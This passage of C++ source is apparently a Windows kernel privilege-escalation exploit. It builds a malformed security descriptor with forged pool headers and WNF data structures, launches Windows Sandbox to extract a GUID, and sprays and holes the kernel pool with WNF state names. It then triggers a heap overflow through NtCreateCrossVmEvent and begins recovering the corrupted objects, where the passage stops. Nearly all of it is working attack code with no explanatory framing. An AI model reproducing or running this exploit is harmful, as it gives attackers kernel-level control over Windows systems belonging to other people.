    NtQuerySystemInformation_t NtQuerySystemInformation =

(NtQuerySystemInformation_t)GetProcAddress(GetModuleHandleA("NTDLL.dll"),
"NtQuerySystemInformation");
    NTSTATUS result = -1;
    std::vector<WNF_STATE_NAME> statenames1(STATENAMES1_SIZE);
    std::vector<WNF_STATE_NAME> statenames2(STATENAMES2_SIZE);
    std::vector<WNF_STATE_NAME> statenames3(STATENAMES3_SIZE);
    //std::vector<WNF_STATE_NAME> statenames4(0x400);
    DWORD64 curpid = 0;
    curpid = GetCurrentProcessId();
    DWORD64 pid = 0;
    DWORD64 cur_token_ptr = 0;
    std::vector<std::shared_ptr<WNF_STATE_CORRUPTED>> corrupted;
    ULONG outsize = 0x30;
    //0x50*334 = 10040
    unsigned char* buffer = new unsigned char[0x10080];
    unsigned char* backup_buffer = new unsigned char[WNF_MAX_DATA_SIZE +
0x200];
    memset(buffer, 0x0, 0x10000);

    std::cout << "Preparing..." << std::endl;

    prepare();

    ////getchar();

    //crafting objects to trigger overflow
    InitializeSecurityDescriptor(&sd, SECURITY_DESCRIPTOR_REVISION);
    GetSecurityInfo(GetCurrentProcess(), SE_KERNEL_OBJECT,
DACL_SECURITY_INFORMATION, NULL, NULL, &pdacl, NULL,
reinterpret_cast<PSECURITY_DESCRIPTOR*>(&psd));
    other_ace = reinterpret_cast<ACCESS_ALLOWED_ACE*>((char*)pdacl +
sizeof(ACL));
    /* newace->Header.AceType = 0x0;
     newace->Header.AceSize = 0x2000;
     newace->Header.AceFlags = 0x0;
     newace->Mask = 0x001fffff;
     memcpy(newace, ace, ace->Header.AceSize);
     newace->Header.AceSize = 0x2000;*/

     /*if (!AddAce(pdacl, ACL_REVISION, 0, newace, 1)) {
         std::cout << "error adding ace" << std::endl;
     }*/
    sd.Dacl = static_cast<PACL>(VirtualAlloc(NULL, 0x10000, MEM_COMMIT |
MEM_RESERVE, PAGE_READWRITE));
    memset(sd.Dacl, 0x0, 0x10000);
    sd.Dacl->AclSize = ROUND_UP(0xfff0, 4);
    sd.Dacl->AclRevision = ACL_REVISION;
    sd.Dacl->AceCount = 1;

    ace = (ACCESS_ALLOWED_ACE*)(sizeof(ACL) + (char*)(sd.Dacl));

    memcpy(ace, other_ace, other_ace->Header.AceSize);
    //ace->Header.AceType = 0x0;
    ace->Header.AceSize = sd.Dacl->AclSize - sizeof(ACL);
    //ace->Header.AceFlags = 0x0;
    //ace->Mask = 0x001fffff;


    //setting ptr to first object of size 0x50 that can be overwritten with
overflow
    unsigned char* ptr = (unsigned char*)(sd.Dacl) + 0x40;

    ULONG DataSize = 0x50 * 0x334; //to read all the tampered objects + 1
not tampered object

    //the overflow allows to overwrite the next (0xfff0-0x40)/0x50 = 0x332
objects

    int i = 0;
    while (1) {
        POOL_HEADER* ph = (POOL_HEADER*)(ptr + i * 0x50);
        if (ph < (POOL_HEADER*)(sd.Dacl) + 0x1000 - 0x10) {
            ph->BlockSize = 0x5;
            ph->PoolTag = 0x20666e57;
            ph->PoolType = 0xb & ~(1 << 3); //clear PoolQuota bit (bit
index 3)
            ph->PoolIndex = 0x0;
            ph->PreviousSize = 0x0;
            ph->ProcessBilled = (PVOID)0x4242424242424242;
        }
        else {
            break;
        }
        WNF_STATE_DATA* wnf = (WNF_STATE_DATA*)(ptr + i * 0x50 +
sizeof(POOL_HEADER));
        if (wnf < (WNF_STATE_DATA*)(sd.Dacl) + 0x1000 - 0x10) {
            wnf->DataSize = DataSize;
            wnf->AllocatedSize = wnf->DataSize;
            wnf->ChangeStamp = 1;
            unsigned char* data = (unsigned char*)wnf +
sizeof(WNF_STATE_DATA);
            reinterpret_cast<DWORD64*>(data)[0] = i;
            DataSize -= 0x50;
        }
        else {
            break;
        }
        i++;
    }

      //set security descriptor in object attributes
    InitializeObjectAttributes(&oa, NULL, 0, NULL, &sd);
    sd.Control = 0x4;

    NtCreateCrossVmEvent fNtCreateCrossVmEvent =
(NtCreateCrossVmEvent)(GetProcAddress(GetModuleHandleA("ntdll"),
"NtCreateCrossVmEvent"));

    if (!fNtCreateCrossVmEvent) {
        printf("[-] GetProcAddress failed (%d)\n", GetLastError());
        return 1;
    }
    std::cout << "[*] fNtCreateCrossVmEvent = " << std::hex <<
fNtCreateCrossVmEvent << std::endl;
    NtQueryInformationProcess fNtQueryInformationProcess =
(NtQueryInformationProcess)(GetProcAddress(GetModuleHandleA("ntdll"),
"NtQueryInformationProcess"));

    if (!fNtQueryInformationProcess) {
        printf("[-] GetProcAddress failed (%d)\n", GetLastError());
        return 1;
    }

    std::cout << "[*] fNtQueryInformationProcess = " << std::hex <<
fNtQueryInformationProcess << std::endl;

    hWinsbxclientproc = GetWinSBXCliProcHandle();

    if (hWinsbxclientproc == NULL) {
        printf("[!] WindowsSandboxClient.exe process not found\n");
        std::cout << "[*] spawning windows sandbox" << std::endl;

        if (!CreateProcessA("C:\\Windows\\System32\\WindowsSandbox.exe",
NULL, NULL, NULL, FALSE, CREATE_NO_WINDOW, NULL, NULL, &si, &pi)) {
            std::cout << "[-] CreateProcessA failed with error: " <<
GetLastError() << std::endl;
            return 1;
        }
        std::cout << "[*] CreateProcessA returned successfully" <<
std::endl;

        while (1) {
            Sleep(5000);
            hWinsbxclientproc = GetWinSBXCliProcHandle();
            if (hWinsbxclientproc != NULL && hWinsbxclientproc !=
INVALID_HANDLE_VALUE) {
                break;
            }
        }
    }

    if (hWinsbxclientproc == NULL) {
        printf("[-] WindowsSandboxClient.exe process not found\n");
        return 1;
    }

    if (fNtQueryInformationProcess(hWinsbxclientproc,
ProcessBasicInformation, &pbi, sizeof(pbi), &ReturnLength) > 0) {
        std::cout << "[-] NtQueryInformationProcess failed with error: " <<
GetLastError() << std::endl;
        return 1;
    }

    std::cout << "[*] NtQueryInformationProcess returned successfully" <<
std::endl;
    std::cout << "[*] peb_addr = " << std::hex << pbi.PebBaseAddress <<
std::endl;


    if (!ReadProcessMemory(hWinsbxclientproc, pbi.PebBaseAddress, &peb,
sizeof(peb), NULL)) {
        std::cout << "[-] ReadProcessMemory failed with error: " <<
GetLastError() << std::endl;
        return 1;
    }
    std::cout << "[*] ReadProcessMemory returned successfully" << std::endl;
    std::cout << "[*] ProcessParameters = " << std::hex <<
peb.ProcessParameters << std::endl;

    if (!ReadProcessMemory(hWinsbxclientproc, peb.ProcessParameters,
processParams, sizeof(RTL_USER_PROCESS_PARAMETERS), NULL)) {
        std::cout << "[-] ReadProcessMemory failed with error: " <<
GetLastError() << std::endl;
        return 1;
    }
    std::cout << "[*] ReadProcessMemory returned successfully" << std::endl;
    std::cout << "[*] CommandLine = " << processParams->CommandLine.Buffer
<< std::endl;
    std::cout << "[*] CommandLine_size = " <<
processParams->CommandLine.MaximumLength << std::endl;

    wchar_t* commandline = new
wchar_t[processParams->CommandLine.MaximumLength + 0x2];
    ZeroMemory(commandline, processParams->CommandLine.MaximumLength + 0x2);
    if (!ReadProcessMemory(hWinsbxclientproc,
processParams->CommandLine.Buffer, commandline,
processParams->CommandLine.MaximumLength, NULL)) {
        std::cout << "[-] ReadProcessMemory failed with error: " <<
GetLastError() << std::endl;
        return 1;
    }
    std::wcout << "[*] commandline = " << commandline << std::endl;

    std::wstring commandline_wstr(commandline);
    delete[] commandline;

    //extracting guid
    std::wstring w_guid(commandline_wstr.substr(58, 36));

    std::wcout << "[*] extracted guid = " << w_guid << std::endl;

    // Calculating the length of the multibyte string
    size_t len = w_guid.length();
    char* s_guid = new char[len + 2];
    size_t returnedlength = 0;
    wcstombs_s(&returnedlength, s_guid, static_cast<size_t>(len + 2),
w_guid.c_str(), len);

    std::cout << "[*] s_guid = " << s_guid << std::endl;
    HRESULT res = 0;

    wchar_t* ws = const_cast<wchar_t*>(w_guid.c_str());

    res = UuidFromStringW(reinterpret_cast<RPC_WSTR>(ws), &guid2);

    if (res != S_OK) {
        std::cout << "[-] IIDFromString failed with error: " << res <<
std::endl;
        return 1;
    }

    CoCreateGuid(&guid);
    //CoCreateGuid(&guid2);


    printf("Created GUID\n");

    //StringFromGUID2(guid, guidstr, 0x100);
    //StringFromGUID2(guid2, guidstr2, 0x100);

    std::cout << "extracted guid\n" << Hexdump(reinterpret_cast<unsigned
char*>(&guid2), sizeof(guid2)) << std::endl << std::endl;
    std::cout << "guid\n" << Hexdump(reinterpret_cast<unsigned
char*>(&guid2), sizeof(guid2)) << std::endl << std::endl;

    printf("Triggering vuln creating crossvmevent...\n");

    //////getchar();

    SetPriorityClass(GetCurrentProcess(), REALTIME_PRIORITY_CLASS);
    SetThreadPriority(GetCurrentThread(), THREAD_PRIORITY_TIME_CRITICAL);

    //start spraying
    InitializeSecurityDescriptor(&sd_spraying,
SECURITY_DESCRIPTOR_REVISION);

    memset(buffer, 0x41, 0x30);
    //first spraying
    for (auto& state : statenames1) {
        //std::cout << "state before creation: " << std::hex <<
state.Data[0] << state.Data[1] << std::endl;

        result = fNtCreateWnfStateName(&state, WnfTemporaryStateName,
WnfDataScopeMachine, FALSE, 0, WNF_MAX_DATA_SIZE, &sd_spraying);
        //std::cout << "NtCreateWnfStateName returned " << std::hex <<
result << std::endl;
        //std::cout << "state: " << std::hex << state.Data[0] <<
state.Data[1] << std::endl;

        result = fNtUpdateWnfStateData(&state, buffer, 0x30, 0, 0, 0, 0);

    }

    //second spraying
    for (auto& state : statenames2) {
        result = fNtCreateWnfStateName(&state, WnfTemporaryStateName,
WnfDataScopeMachine, FALSE, 0, WNF_MAX_DATA_SIZE, &sd_spraying);
        //std::cout << "NtCreateWnfStateName returned " << std::hex <<
result << std::endl;
        //std::cout << "state: " << std::hex << state.Data[0] <<
state.Data[1] << std::endl;
        result = fNtUpdateWnfStateData(&state, buffer, 0x30, 0, 0, 0, 0);
    }

    //holes in second spraying
    for (int i = STATENAMES2_SIZE - 0x100; i > 0; i -= 100) {
        result = fNtDeleteWnfStateData(&(statenames2[i]), NULL);
        //std::cout << "NtDeleteWnfStateData returned " << std::hex <<
result << std::endl;
        //std::cout << "freed state " << std::hex << statenames2[i].Data[0]
<< statenames2[i].Data[1] << std::endl;
    }
    //triggering overflow
    fNtCreateCrossVmEvent(&hEvent, EVENT_ALL_ACCESS, &oa, 0, &guid2,
&guid2);

    //third spraying
    for (auto& state : statenames3) {
        result = fNtCreateWnfStateName(&state, WnfTemporaryStateName,
WnfDataScopeMachine, FALSE, 0, WNF_MAX_DATA_SIZE, &sd_spraying);
        //std::cout << "NtCreateWnfStateName returned " << std::hex <<
result << std::endl;
        //std::cout << "state: " << std::hex << state.Data[0] <<
state.Data[1] << std::endl;
        result = fNtUpdateWnfStateData(&state, buffer, 0x30, 0, 0, 0, 0);
    }

    ////getchar();

    memset(buffer, 0x0, 0x10040);
    //retrieving corrupted WNFs